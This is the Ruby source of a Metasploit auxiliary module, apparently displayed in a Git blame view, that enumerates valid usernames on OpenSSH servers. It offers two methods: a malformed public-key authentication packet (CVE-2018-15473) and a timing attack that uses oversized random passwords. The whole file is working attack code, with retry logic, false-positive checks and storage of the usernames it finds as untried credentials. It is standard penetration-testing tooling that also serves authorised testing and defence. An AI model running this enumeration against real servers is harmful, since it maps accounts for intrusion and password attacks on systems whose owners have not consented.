Files
metasploit-gs/modules/auxiliary/scanner/ssh/ssh_enumusers.rb
T

258 lines
7.1 KiB
Ruby
Raw Normal View History

2014-03-28 16:23:48 +01:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2014-03-28 16:23:48 +01:00
# Current source: https://github.com/rapid7/metasploit-framework
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Auxiliary
2018-09-05 23:10:28 -05:00
include Msf::Exploit::Remote::SSH
2014-03-28 16:23:48 +01:00
include Msf::Auxiliary::Scanner
include Msf::Auxiliary::Report
2014-04-23 10:00:34 -05:00
def initialize(info = {})
2014-04-23 10:08:37 -05:00
super(update_info(info,
2018-08-17 16:58:15 -05:00
'Name' => 'SSH Username Enumeration',
'Description' => %q{
This module uses a malformed packet or timing attack to enumerate users on
an OpenSSH server.
2018-08-20 19:26:30 -05:00
The default action sends a malformed (corrupted) SSH_MSG_USERAUTH_REQUEST
2018-08-17 16:58:15 -05:00
packet using public key authentication (must be enabled) to enumerate users.
On some versions of OpenSSH under some configurations, OpenSSH will return a
2018-08-17 16:58:15 -05:00
"permission denied" error for an invalid user faster than for a valid user,
creating an opportunity for a timing attack to enumerate users.
2018-08-17 20:20:12 -05:00
Testing note: invalid users were logged, while valid users were not. YMMV.
},
2018-08-17 16:58:15 -05:00
'Author' => [
'kenkeiras', # Timing attack
'Dariusz Tytko', # Malformed packet
'Michal Sajdak', # Malformed packet
'Qualys', # Malformed packet
'wvu' # Malformed packet
],
'References' => [
['CVE', '2003-0190'],
['CVE', '2006-5229'],
['CVE', '2016-6210'],
['CVE', '2018-15473'],
['OSVDB', '32721'],
['BID', '20418'],
2018-09-15 18:54:45 -05:00
['URL', 'https://seclists.org/oss-sec/2018/q3/124'],
2018-08-22 14:48:06 -05:00
['URL', 'https://sekurak.pl/openssh-users-enumeration-cve-2018-15473/']
2018-08-17 16:58:15 -05:00
],
'License' => MSF_LICENSE,
'Actions' => [
['Malformed Packet',
'Description' => 'Use a malformed packet',
'Type' => :malformed_packet
],
['Timing Attack',
'Description' => 'Use a timing attack',
'Type' => :timing_attack
]
],
'DefaultAction' => 'Malformed Packet'
2014-04-23 10:00:34 -05:00
))
2014-03-28 16:23:48 +01:00
register_options(
[
Opt::Proxies,
2014-04-23 10:00:34 -05:00
Opt::RPORT(22),
2018-08-17 16:58:15 -05:00
OptString.new('USERNAME',
[false, 'Single username to test (username spray)']),
2014-04-18 21:56:17 +02:00
OptPath.new('USER_FILE',
2018-08-17 16:58:15 -05:00
[false, 'File containing usernames, one per line']),
2014-04-18 21:18:48 +02:00
OptInt.new('THRESHOLD',
2014-04-23 10:00:34 -05:00
[true,
'Amount of seconds needed before a user is considered ' \
2018-08-17 20:05:04 -05:00
'found (timing attack only)', 10]),
OptBool.new('CHECK_FALSE',
[false, 'Check for false positives (random username)', false])
2018-08-17 16:58:15 -05:00
]
2014-03-28 16:23:48 +01:00
)
register_advanced_options(
[
OptInt.new('RETRY_NUM',
[true , 'The number of attempts to connect to a SSH server' \
2014-04-23 10:00:34 -05:00
' for each user', 3]),
OptInt.new('SSH_TIMEOUT',
[false, 'Specify the maximum time to negotiate a SSH session',
10]),
OptBool.new('SSH_DEBUG',
[false, 'Enable SSH debugging output (Extreme verbosity!)',
false])
2014-03-28 16:23:48 +01:00
]
)
end
def rport
datastore['RPORT']
end
def retry_num
datastore['RETRY_NUM']
end
2014-04-18 21:18:48 +02:00
def threshold
datastore['THRESHOLD']
end
2014-03-28 16:23:48 +01:00
2014-04-29 16:07:42 +01:00
# Returns true if a nonsense username appears active.
def check_false_positive(ip)
2018-08-17 16:58:15 -05:00
user = Rex::Text.rand_text_alphanumeric(8..32)
attempt_user(user, ip) == :success
2014-04-29 16:07:42 +01:00
end
2014-03-28 16:23:48 +01:00
def check_user(ip, user, port)
2018-08-17 16:58:15 -05:00
technique = action['Type']
opts = {
2018-08-15 21:27:40 -05:00
:port => port,
:use_agent => false,
:config => false,
2018-08-17 16:58:15 -05:00
:proxy => ssh_socket_factory,
:non_interactive => true,
:verify_host_key => :never
2014-03-28 16:23:48 +01:00
}
2018-08-17 16:58:15 -05:00
# The auth method is converted into a class name for instantiation,
2018-09-05 23:10:28 -05:00
# so malformed-packet here becomes MalformedPacket from the mixin
2018-08-17 16:58:15 -05:00
case technique
when :malformed_packet
opts.merge!(:auth_methods => ['malformed-packet'])
when :timing_attack
opts.merge!(
:auth_methods => ['password', 'keyboard-interactive'],
:password => rand_pass
)
end
opts.merge!(:verbose => :debug) if datastore['SSH_DEBUG']
2014-03-28 16:23:48 +01:00
start_time = Time.new
begin
2018-08-20 16:21:38 -05:00
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
2018-08-17 16:58:15 -05:00
Net::SSH.start(ip, user, opts)
2014-03-28 16:23:48 +01:00
end
rescue Rex::ConnectionError
2014-03-28 16:23:48 +01:00
return :connection_error
2018-08-20 16:21:38 -05:00
rescue Timeout::Error
2018-08-17 16:58:15 -05:00
return :success if technique == :timing_attack
2018-08-20 16:21:38 -05:00
rescue Net::SSH::AuthenticationFailed
return :fail if technique == :malformed_packet
rescue Net::SSH::Exception => e
vprint_error("#{e.class}: #{e.message}")
2014-03-28 16:23:48 +01:00
end
finish_time = Time.new
2018-08-20 16:21:38 -05:00
case technique
when :malformed_packet
return :success if ssh
when :timing_attack
2018-08-17 16:58:15 -05:00
return :success if (finish_time - start_time > threshold)
2014-03-28 16:23:48 +01:00
end
2018-08-17 16:58:15 -05:00
:fail
end
def rand_pass
2018-08-20 17:10:14 -05:00
Rex::Text.rand_text_english(64_000..65_000)
2014-03-28 16:23:48 +01:00
end
def do_report(ip, user, port)
2015-07-29 14:31:35 -05:00
service_data = {
address: ip,
port: rport,
service_name: 'ssh',
protocol: 'tcp',
workspace_id: myworkspace_id
}
credential_data = {
origin_type: :service,
module_fullname: fullname,
username: user,
}.merge(service_data)
login_data = {
core: create_credential(credential_data),
status: Metasploit::Model::Login::Status::UNTRIED,
}.merge(service_data)
create_credential_login(login_data)
2014-03-28 16:23:48 +01:00
end
# Because this isn't using the AuthBrute mixin, we don't have the
# usual peer method
def peer(rhost=nil)
"#{rhost}:#{rport} - SSH -"
end
2014-03-28 16:23:48 +01:00
def user_list
2018-08-17 16:58:15 -05:00
users = []
if datastore['USERNAME']
users << datastore['USERNAME']
elsif datastore['USER_FILE'] && File.readable?(datastore['USER_FILE'])
users += File.read(datastore['USER_FILE']).split
end
2018-08-17 16:58:15 -05:00
users
2014-03-28 16:23:48 +01:00
end
def attempt_user(user, ip)
attempt_num = 0
ret = nil
while attempt_num <= retry_num and (ret.nil? or ret == :connection_error)
if attempt_num > 0
2014-04-22 22:16:16 +02:00
Rex.sleep(2 ** attempt_num)
2015-04-21 11:14:03 -05:00
vprint_status("#{peer(ip)} Retrying '#{user}' due to connection error")
2014-03-28 16:23:48 +01:00
end
ret = check_user(ip, user, rport)
attempt_num += 1
end
2014-04-23 10:00:34 -05:00
ret
2014-03-28 16:23:48 +01:00
end
def show_result(attempt_result, user, ip)
case attempt_result
when :success
2015-04-21 11:14:03 -05:00
print_good("#{peer(ip)} User '#{user}' found")
2014-03-28 16:23:48 +01:00
do_report(ip, user, rport)
when :connection_error
2015-04-21 11:14:03 -05:00
print_error("#{peer(ip)} User '#{user}' on could not connect")
2014-03-28 16:23:48 +01:00
when :fail
2015-04-21 11:14:03 -05:00
print_error("#{peer(ip)} User '#{user}' not found")
2014-03-28 16:23:48 +01:00
end
end
def run_host(ip)
2018-08-17 20:05:04 -05:00
print_status("#{peer(ip)} Using #{action.name.downcase} technique")
if datastore['CHECK_FALSE']
print_status("#{peer(ip)} Checking for false positives")
if check_false_positive(ip)
print_error("#{peer(ip)} throws false positive results. Aborting.")
return
end
2014-04-29 16:07:42 +01:00
end
2018-08-17 20:05:04 -05:00
2018-08-20 16:21:38 -05:00
users = user_list
if users.empty?
print_error('Please populate USERNAME or USER_FILE')
return
end
2018-08-17 20:05:04 -05:00
print_status("#{peer(ip)} Starting scan")
2018-08-20 16:21:38 -05:00
users.each { |user| show_result(attempt_user(user, ip), user, ip) }
2014-03-28 16:23:48 +01:00
end
end